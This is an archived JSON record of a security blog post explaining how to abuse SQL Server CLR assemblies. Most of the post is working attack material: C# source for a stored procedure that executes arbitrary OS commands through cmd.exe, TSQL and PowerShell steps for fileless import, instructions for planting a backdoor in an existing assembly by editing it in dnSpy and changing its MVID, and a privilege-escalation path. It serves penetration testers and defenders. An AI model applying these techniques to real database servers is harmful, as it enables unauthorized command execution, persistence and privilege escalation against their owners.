{
	"id": "11b4dff8-5e20-4e79-986a-1177a98e9958",
	"created_at": "2026-04-06T00:16:26.899398Z",
	"updated_at": "2026-04-10T03:22:13.443457Z",
	"deleted_at": null,
	"sha1_hash": "e8bed6f580808fd25654d381a75a50633af3f711",
	"title": "Attacking SQL Server CLR Assemblies",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1830377,
	"plain_text": "Attacking SQL Server CLR Assemblies\r\nBy Scott Sutherland\r\nPublished: 2017-07-13 · Archived: 2026-04-05 16:21:24 UTC\r\nIn this blog, I’ll be expanding on the CLR assembly attacks developed by Lee Christensen and covered in Nathan\r\nKirk’s CLR blog series. I’ll review how to create, import, export, and modify CLR assemblies in SQL Server with\r\nthe goal of privilege escalation, OS command execution, and persistence.  I’ll also share a few new PowerUpSQL\r\nfunctions that can be used to execute the CLR attacks on a larger scale in Active Directory environments.\r\nBelow is an overview of what will be covered.  Feel free to jump ahead:\r\nWhat is a CLR assembly?\r\nMake a custom CLR DLL for SQL Server\r\nImport my CLR DLL into SQL Server\r\nConvert my CLR DLL into a hexadecimal string and import it without a file\r\nList existing CLR Stored Procedures\r\nExport an existing CLR assembly to a DLL\r\nModify an exported CLR DLL and ALTER an existing CLR Assembly in SQL Server\r\nEscalate privileges in SQL Server using a Custom CLR\r\nWhat is a Custom CLR Assembly in SQL Server?\r\nFor the sake of this blog, we’ll define a Common Language Runtime (CLR) assembly as a .NET DLL (or group of\r\nDLLs) that can be imported into SQL Server.  Once imported, the DLL methods can be linked to stored\r\nprocedures and executed via TSQL.  The ability to create and import custom CLR assemblies is a great way for\r\ndevelopers to expand the native functionality of SQL Server, but naturally it also creates opportunities for\r\nattackers.\r\nHow do I Make a Custom CLR DLL for SQL Server?\r\nBelow is a C# template for executing OS commands based on Nathan Kirk’s work and a few nice Microsoft\r\narticles.  Naturally, you can make whatever modifications you want, but once you’re done save the file to\r\n“c:\\temp\\cmd_exec.cs“.\r\nusing System;\r\nusing System.Data;\r\nusing System.Data.SqlClient;\r\nusing System.Data.SqlTypes;\r\nusing Microsoft.SqlServer.Server;\r\nusing System.IO;\r\nusing System.Diagnostics;\r\nusing System.Text;\r\nhttps://www.netspi.com/blog/technical-blog/adversary-simulation/attacking-sql-server-clr-assemblies/\r\nPage 1 of 16\n\npublic partial class StoredProcedures\r\n{\r\n [Microsoft.SqlServer.Server.SqlProcedure]\r\n public static void cmd_exec (SqlString execCommand)\r\n {\r\n Process proc = new Process();\r\n proc.StartInfo.FileName = @\"C:\\Windows\\System32\\cmd.exe\";\r\n proc.StartInfo.Arguments = string.Format(@\" /C {0}\", execCommand.Value);\r\n proc.StartInfo.UseShellExecute = false;\r\n proc.StartInfo.RedirectStandardOutput = true;\r\n proc.Start();\r\n // Create the record and specify the metadata for the columns.\r\n SqlDataRecord record = new SqlDataRecord(new SqlMetaData(\"output\", SqlDbType.NVarChar, 4000)\r\n \r\n // Mark the beginning of the result set.\r\n SqlContext.Pipe.SendResultsStart(record);\r\n // Set values for each column in the row\r\n record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());\r\n // Send the row back to the client.\r\n SqlContext.Pipe.SendResultsRow(record);\r\n \r\n // Mark the end of the result set.\r\n SqlContext.Pipe.SendResultsEnd();\r\n \r\n proc.WaitForExit();\r\n proc.Close();\r\n }\r\n};\r\nNow the goal is to simply compile “c:\\temp\\cmd_exec.cs” to a DLL using the csc.exe compiler. Even if you don’t\r\nhave Visual Studio installed, the csc.exe compiler ships with the .NET framework by default. So, it should be on\r\nyour Windows system somewhere. Below is a PowerShell command to help find it.\r\nGet-ChildItem -Recurse \"C:\\Windows\\Microsoft.NET\" -Filter \"csc.exe\" | Sort-Object fullname -Descendin\r\nAssuming you found csc.exe, you can compile the “c:\\temp\\cmd_exec.cs” file to a DLL with a  command similar\r\nto the one below.\r\nC:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe /target:library c:\\temp\\cmd_exec.cs\r\nHow Do Import My CLR DLL into SQL Server?\r\nhttps://www.netspi.com/blog/technical-blog/adversary-simulation/attacking-sql-server-clr-assemblies/\r\nPage 2 of 16\n\nTo import your new DLL into SQL Server, your SQL login will need sysadmin privileges, the CREATE\r\nASSEMBLY permission, or the ALTER ASSEMBLY permission. Follow the steps below to register your DLL\r\nand link it to a stored procedure so the cmd_exec method can be executed via TSQL.\r\nLog into your SQL Server as a sysadmin and issue the TSQL queries below.\r\n-- Select the msdb database\r\nuse msdb\r\n-- Enable show advanced options on the server\r\nsp_configure 'show advanced options',1\r\nRECONFIGURE\r\nGO\r\n-- Enable clr on the server\r\nsp_configure 'clr enabled',1\r\nRECONFIGURE\r\nGO\r\n-- Import the assembly\r\nCREATE ASSEMBLY my_assembly\r\nFROM 'c:\\temp\\cmd_exec.dll'\r\nWITH PERMISSION_SET = UNSAFE;\r\n-- Link the assembly to a stored procedure\r\nCREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[Stored\r\nGO\r\nNow you should be able to execute OS commands via the “cmd_exec” stored procedure in the “msdb” database as\r\nshown in the example below.\r\nWhen you’re done, you can remove the procedure and assembly with the TSQL below.\r\nhttps://www.netspi.com/blog/technical-blog/adversary-simulation/attacking-sql-server-clr-assemblies/\r\nPage 3 of 16\n\nDROP PROCEDURE cmd_exec\r\nDROP ASSEMBLY my_assembly\r\nHow Do I Convert My CLR DLL into a Hexadecimal String and Import It Without a File?\r\nIf you read Nathan Kirk’s original blog series, you already know that you don’t have to reference a physical DLL\r\nwhen importing CLR assemblies into SQL Server. “CREATE ASSEMBLY” will also accept a hexadecimal string\r\nrepresentation of a CLR DLL file. Below is a PowerShell script example showing how to convert your\r\n“cmd_exec.dll” file into a TSQL command that can be used to create the assembly without a physical file\r\nreference.\r\n# Target file\r\n$assemblyFile = \"c:\\temp\\cmd_exec.dll\"\r\n# Build top of TSQL CREATE ASSEMBLY statement\r\n$stringBuilder = New-Object -Type System.Text.StringBuilder\r\n$stringBuilder.Append(\"CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM `n0x\") | Out-Null\r\n# Read bytes from file\r\n$fileStream = [IO.File]::OpenRead($assemblyFile)\r\nwhile (($byte = $fileStream.ReadByte()) -gt -1) {\r\n $stringBuilder.Append($byte.ToString(\"X2\")) | Out-Null\r\n}\r\n# Build bottom of TSQL CREATE ASSEMBLY statement\r\n$stringBuilder.AppendLine(\"`nWITH PERMISSION_SET = UNSAFE\") | Out-Null\r\n$stringBuilder.AppendLine(\"GO\") | Out-Null\r\n$stringBuilder.AppendLine(\" \") | Out-Null\r\n# Build create procedure command\r\n$stringBuilder.AppendLine(\"CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL\r\n$stringBuilder.AppendLine(\"GO\") | Out-Null\r\n$stringBuilder.AppendLine(\" \") | Out-Null\r\n# Create run os command\r\n$stringBuilder.AppendLine(\"EXEC[dbo].[cmd_exec] 'whoami'\") | Out-Null\r\n$stringBuilder.AppendLine(\"GO\") | Out-Null\r\n$stringBuilder.AppendLine(\" \") | Out-Null\r\n# Create file containing all commands\r\n$stringBuilder.ToString() -join \"\" | Out-File c:\\temp\\cmd_exec.txt\r\nIf everything went smoothly, the “c:\\temp\\cmd_exec.txt” file should contain the following TSQL commands. In\r\nthe example, the hexadecimal string has been truncated, but yours should be much longer. 😉\r\nhttps://www.netspi.com/blog/technical-blog/adversary-simulation/attacking-sql-server-clr-assemblies/\r\nPage 4 of 16\n\n-- Select the MSDB database\r\nUSE msdb\r\n-- Enable clr on the server\r\nSp_Configure ‘clr enabled’, 1\r\nRECONFIGURE\r\nGO\r\n-- Create assembly from ascii hex\r\nCREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM\r\n0x4D5A90000300000004000000F[TRUNCATED]\r\nWITH PERMISSION_SET = UNSAFE\r\nGO\r\n-- Create procedures from the assembly method cmd_exec\r\nCREATE PROCEDURE [dbo].[my_assembly] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [cmd_exec].[Stored\r\nGO\r\n-- Run an OS command as the SQL Server service account\r\nEXEC[dbo].[cmd_exec] 'whoami'\r\nGO\r\nWhen you run the TSQL from the “c:\\temp\\cmd_exec.txt”  file in SQL Server as a sysadmin the output should\r\nlook like this:\r\nPowerUpSQL Automation\r\nhttps://www.netspi.com/blog/technical-blog/adversary-simulation/attacking-sql-server-clr-assemblies/\r\nPage 5 of 16\n\nIf you haven’t used PowerUpSQL before you can visit the setup page here.\r\nI made a PowerUpSQL function call “Create-SQLFileCLRDll” to create similar DLLs and TSQL scripts on the\r\nfly. It also supports options for setting custom assembly names, class names, method names, and stored procedure\r\nnames. If none are specified then they are all randomized. Below is a basic command example:\r\nPS C:\\temp\u003e Create-SQLFileCLRDll -ProcedureName “runcmd” -OutFile runcmd -OutDir c:\\temp\r\nC# File: c:\\tempruncmd.csc\r\nCLR DLL: c:\\tempruncmd.dll\r\nSQL Cmd: c:\\tempruncmd.txt\r\nBelow is a short script for generating 10 sample CLR DLLs / CREATE ASSEMBLY TSQL scripts. It can come in\r\nhandy when playing around with CLR assemblies in the lab.\r\n1..10| %{ Create-SQLFileCLRDll -Verbose -ProcedureName myfile$_ -OutDir c:\\temp -OutFile myfile$_ }\r\nHow do I List Existing CLR Assemblies and CLR Stored Procedures?\r\nYou can use the TSQL query below to verify that your CLR assembly was setup correctly, or start hunting for\r\nexisting user defined CLR assemblies.\r\nNote: This is a modified version of some code I found here.\r\nUSE msdb;\r\nSELECT SCHEMA_NAME(so.[schema_id]) AS [schema_name],\r\n af.file_id,\r\n af.name + '.dll' as [file_name],\r\n asmbly.clr_name,\r\n asmbly.assembly_id,\r\n asmbly.name AS [assembly_name],\r\n am.assembly_class,\r\n am.assembly_method,\r\n so.object_id as [sp_object_id],\r\n so.name AS [sp_name],\r\n so.[type] as [sp_type],\r\n asmbly.permission_set_desc,\r\n asmbly.create_date,\r\n asmbly.modify_date,\r\n af.content\r\nFROM sys.assembly_modules am\r\nINNER JOIN sys.assemblies asmbly\r\nON asmbly.assembly_id = am.assembly_id\r\nINNER JOIN sys.assembly_files af\r\nON asmbly.assembly_id = af.assembly_id\r\nhttps://www.netspi.com/blog/technical-blog/adversary-simulation/attacking-sql-server-clr-assemblies/\r\nPage 6 of 16\n\nINNER JOIN sys.objects so\r\nON so.[object_id] = am.[object_id]\r\nWith this query we can see the file name, assembly name, assembly class name, the assembly method, and the\r\nstored procedure the method is mapped to.\r\nYou should see “my_assembly” in your results. If you ran the 10 TSQL queries generated from “Create-SQLFileCLRDll” command I provided earlier, then you’ll also see the associated assembly information for those\r\nassemblies.\r\nPowerUpSQL Automation\r\nI added a function for this in PowerUpSQL called “Get-SQLStoredProcedureCLR” that will iterate through\r\naccessible databases and provide the assembly information for each one. Below is a command sample.\r\nGet-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04\\SQLSERVER2014 -Username sa -Password 'sapassw\r\nYou can also execute it against all domain SQL Servers with the command below (provided you have the right\r\nprivileges).\r\nGet-SQLInstanceDomain -Verbose | Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04\\SQLSERVER201\r\nMapping Procedure Parameters\r\nhttps://www.netspi.com/blog/technical-blog/adversary-simulation/attacking-sql-server-clr-assemblies/\r\nPage 7 of 16\n\nAttackers aren’t the only ones creating unsafe assemblies.  Sometimes developers create assemblies that execute\r\nOS commands or interact with operating system resources. As a result, targeting and reversing those assemblies\r\ncan sometimes lead to privilege escalation bugs. For example, if our assembly already existed, we could try to\r\ndetermine the parameters it accepts and how to use them.  Just for fun, let’s use the query below to blindly\r\ndetermine what parameters the “cmd_exec” stored procedure takes.\r\nSELECT pr.name as procname,\r\n pa.name as param_name,\r\n TYPE_NAME(system_type_id) as Type,\r\n pa.max_length,\r\n pa.has_default_value,\r\n pa.is_nullable\r\nFROM sys.all_parameters pa\r\nINNER JOIN sys.procedures pr on pa.object_id = pr.object_id\r\nWHERE pr.type like 'pc' and pr.name like 'cmd_exec'\r\nIn this example, we can see that  it only accepts one string parameter named “execCommand”. An attacker\r\ntargeting the stored procedure may be able to determine that it can be used for OS command execution.\r\nHow Do I Export a CLR Assembly that Exists in SQL Server to a DLL?\r\nSimply testing the functionality of existing CLR assembly procedures isn’t our only option for finding escalation\r\npaths. In SQL Server we can also export user defined CLR assemblies back to DLLs. Let’s talk about going from\r\nCLR identification to CLR source code! To start we’ll have to identify the assemblies, export them back to DLLs,\r\nand decompile them so they can be analyzed for issues (or modified to inject backdoors).\r\nPowerUpSQL Automation\r\nIn the last section, we talked about how to list out CLR assembly with the PowerUpSQL command below.\r\nhttps://www.netspi.com/blog/technical-blog/adversary-simulation/attacking-sql-server-clr-assemblies/\r\nPage 8 of 16\n\nGet-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04\\SQLSERVER2014 -Username sa -Password 'sapassw\r\nThe same function supports a “ExportFolder” option. If you set it, the function will export the assemblies DLLs to\r\nthat folder. Below is an example command and sample output.\r\nGet-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04\\SQLSERVER2014 -ExportFolder c:\\temp -Usernam\r\nOnce again, you can also export CLR DLLs on scale if you are a domain user and a sysadmin using the command\r\nbelow:\r\nGet-SQLInstanceDomain -Verbose | Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04\\SQLSERVER201\r\nDLLs can be found in the output folder. The script will dynamically build a folder structure based on each server\r\nname, instance, and database name.\r\nhttps://www.netspi.com/blog/technical-blog/adversary-simulation/attacking-sql-server-clr-assemblies/\r\nPage 9 of 16\n\nNow you can view the source with your favorite decompiler. Over the last year I’ve become a big fan of dnSpy. \r\nAfter reading the next section you’ll know why.\r\nHow do I Modify a CLR DLL and Overwrite an Assembly Already Imported into SQL Server?\r\nBelow is a brief overview showing how to decompile, view, edit, save, and reimport an existing SQL Server CLR\r\nDLL with dnSpy. You can download dnSpy from here.\r\nFor this exercise, we are going to modify the cmd_exec.dll exported from SQL Server earlier.\r\n1. Open the cmd_exec.dll file in dnSpy. In the left panel, drill down until you find the “cmd_exec” method\r\nand select it. This will immediately allow you to review the source code and start hunting for bugs.\r\n2. Next, right-click the right panel containing the source code and choose “Edit Method (C#)…”.\r\nhttps://www.netspi.com/blog/technical-blog/adversary-simulation/attacking-sql-server-clr-assemblies/\r\nPage 10 of 16\n\n3. Edit the code how you wish. However, in this example I added a simple “backdoor” that adds a file to the\r\n“c:\\temp” directory every time the “cmd_exec” method is called. Example code and a screen shot are\r\nbelow.\r\n[SqlProcedure]\r\npublic static void cmd_exec(SqlString execCommand)\r\n{\r\n Process expr_05 = new Process();\r\n expr_05.StartInfo.FileName = \"C:\\Windows\\System32\\cmd.exe\";\r\n expr_05.StartInfo.Arguments = string.Format(\" /C {0}\", execCommand.Value);\r\n expr_05.StartInfo.UseShellExecute = true;\r\n expr_05.Start();\r\n expr_05.WaitForExit();\r\n expr_05.Close();\r\n Process expr_54 = new Process();\r\n expr_54.StartInfo.FileName = \"C:\\Windows\\System32\\cmd.exe\";\r\n expr_54.StartInfo.Arguments = string.Format(\" /C 'whoami \u003e c:\\tempclr_backdoor.txt\", execC\r\n expr_54.StartInfo.UseShellExecute = true;\r\n expr_54.Start();\r\n expr_54.WaitForExit();\r\n expr_54.Close();\r\n}\r\nhttps://www.netspi.com/blog/technical-blog/adversary-simulation/attacking-sql-server-clr-assemblies/\r\nPage 11 of 16\n\n4. Save the patched code by clicking the compile button. Then from the top menu choose File, Save\r\nModule….  Then click ok.\r\nAccording to this Microsoft article, every time a CLR is compiled, a unique GUID is generated and embedded in\r\nthe file header so that it’s possible to “distinguish between two versions of the same file”.  This is referred to as\r\nhttps://www.netspi.com/blog/technical-blog/adversary-simulation/attacking-sql-server-clr-assemblies/\r\nPage 12 of 16\n\nthe MVID (module version ID). To overwrite the existing CLR already imported into SQL Server, we’ll have to\r\nchange the MVID manually. Below is an overview.\r\n1. Open “cmd_exec” in dnspy, if it’s not already open. Then drill down into the PE sections and select the\r\n“#GUID” storage stream. Then, right-click on it and choose “Show Data in Hex Editor”.\r\n2. Next, all you have to do is modify one of the selected bytes with an arbitrary value.\r\n3. Select File from the top menu and choose “Save Module…”.\r\nhttps://www.netspi.com/blog/technical-blog/adversary-simulation/attacking-sql-server-clr-assemblies/\r\nPage 13 of 16\n\nPowerShell Automation\r\nYou can use the raw PowerShell command I provided earlier or you can use the PowerUPSQL command example\r\nbelow to obtain the hexadecimal bytes from the newly modified “cmd_exec.dll” file and generate the ALTER\r\nstatement.\r\nPS C:\\temp\u003e Create-SQLFileCLRDll -Verbose -SourceDllPath .cmd_exec.dll\r\nVERBOSE: Target C# File: NA\r\nVERBOSE: Target DLL File: .cmd_exec.dll\r\nVERBOSE: Grabbing bytes from the dll\r\nVERBOSE: Writing SQL to: C:\\Users\\SSUTHE~1\\AppData\\LocalTemp\\CLRFile.txt\r\nC# File: NA\r\nCLR DLL: .cmd_exec.dll\r\nSQL Cmd: C:\\Users\\SSUTHE~1\\AppData\\LocalTemp\\CLRFile.txt\r\nThe new cmd_exec.txt should look some things like the statement below.\r\n-- Choose the msdb database\r\nuse msdb\r\n-- Alter the existing CLR assembly\r\nALTER ASSEMBLY [my_assembly] FROM\r\n0x4D5A90000300000004000000F[TRUNCATED]\r\nWITH PERMISSION_SET = UNSAFE\r\nGO\r\nThe ALTER statement is used to replace the existing CLR instead of DROP and CREATE. As Microsoft puts it,\r\n“ALTER ASSEMBLY does not disrupt currently running sessions that are running code in the assembly being\r\nhttps://www.netspi.com/blog/technical-blog/adversary-simulation/attacking-sql-server-clr-assemblies/\r\nPage 14 of 16\n\nmodified. Current sessions complete execution by using the unaltered bits of the assembly.” So, in summary,\r\nnothing goes boom.  The TSQL query execution should look something like the screenshot below.\r\nTo check if your code modification worked, run the “cmd_exec” stored procedure and verify that the\r\n“c:\\tempbackdoor.txt” file was created.\r\nCan I Escalate Privileges in SQL Server using a Custom CLR?\r\nThe short answer is yes, but there are some unlikely conditions that must be met first.\r\nIf your SQL Server login is not a sysadmin, but has the CREATE or ALTER ASSEMBLY permission, you may be\r\nable to obtain sysadmin privileges using a custom CLR that executes OS commands under the context of the SQL\r\nServer service account (which is a sysadmin by default). However, for that to be successful, the database you\r\ncreate the CLR assembly in, must have the ‘is_trustworthy’ flag set to ‘1’ and the ‘clr enabled’ server setting\r\nturned on. By default, only the msdb database is trustworthy, and the ‘clr enabled’ setting is disabled. 😛\r\nI’ve never seen the CREATE or ALTER ASSEMBLY permissions assigned explicitly to a SQL login. However, I\r\nhave seen application SQL logins added to the ‘db_ddladmin’ database role and that does have the ‘ALTER\r\nASSEMBLY’ permission.\r\nNote: SQL Server 2017 introduced the ‘clr strict security’ configuration. Microsoft documentation states that the\r\nsetting needs to be disabled to allow the creation of UNSAFE or EXTERNAL assemblies.\r\nWrap Up\r\nIn this blog, I showed a few ways CLR assemblies can be abused and how some of the tasks such as exporting\r\nCLR assemblies can be done on scale using PowerUpSQL. It’s worth noting that all of the techniques shown can\r\nbe logged and tied to alerts using native SQL Server functionality, but I’ll have to cover that another day. In the\r\nmeantime, have fun and hack responsibly!\r\nhttps://www.netspi.com/blog/technical-blog/adversary-simulation/attacking-sql-server-clr-assemblies/\r\nPage 15 of 16\n\nPS: Don’t forget that all of the attacks shown can also be executed via SQL Injection with a little manual effort /\r\nautomation.\r\nReferences\r\nhttps://msdn.microsoft.com/en-us/library/microsoft.sqlserver.server.sqlpipe.sendresultsrow(v=vs.110).aspx\r\nhttps://msdn.microsoft.com/en-us/library/system.reflection.module.moduleversionid.aspx\r\nhttps://msdn.microsoft.com/en-us/library/ff878250.aspx\r\nhttps://docs.microsoft.com/en-us/sql/t-sql/statements/create-assembly-transact-sql\r\nhttps://docs.microsoft.com/en-us/sql/t-sql/statements/alter-assembly-transact-sql\r\nhttps://sekirkity.com/seeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution/\r\nSource: https://www.netspi.com/blog/technical-blog/adversary-simulation/attacking-sql-server-clr-assemblies/\r\nhttps://www.netspi.com/blog/technical-blog/adversary-simulation/attacking-sql-server-clr-assemblies/\r\nPage 16 of 16",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://www.netspi.com/blog/technical-blog/adversary-simulation/attacking-sql-server-clr-assemblies/"
	],
	"report_names": [
		"attacking-sql-server-clr-assemblies"
	],
	"threat_actors": [],
	"ts_created_at": 1775434586,
	"ts_updated_at": 1775791333,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/e8bed6f580808fd25654d381a75a50633af3f711.pdf",
		"text": "https://archive.orkl.eu/e8bed6f580808fd25654d381a75a50633af3f711.txt",
		"img": "https://archive.orkl.eu/e8bed6f580808fd25654d381a75a50633af3f711.jpg"
	}
}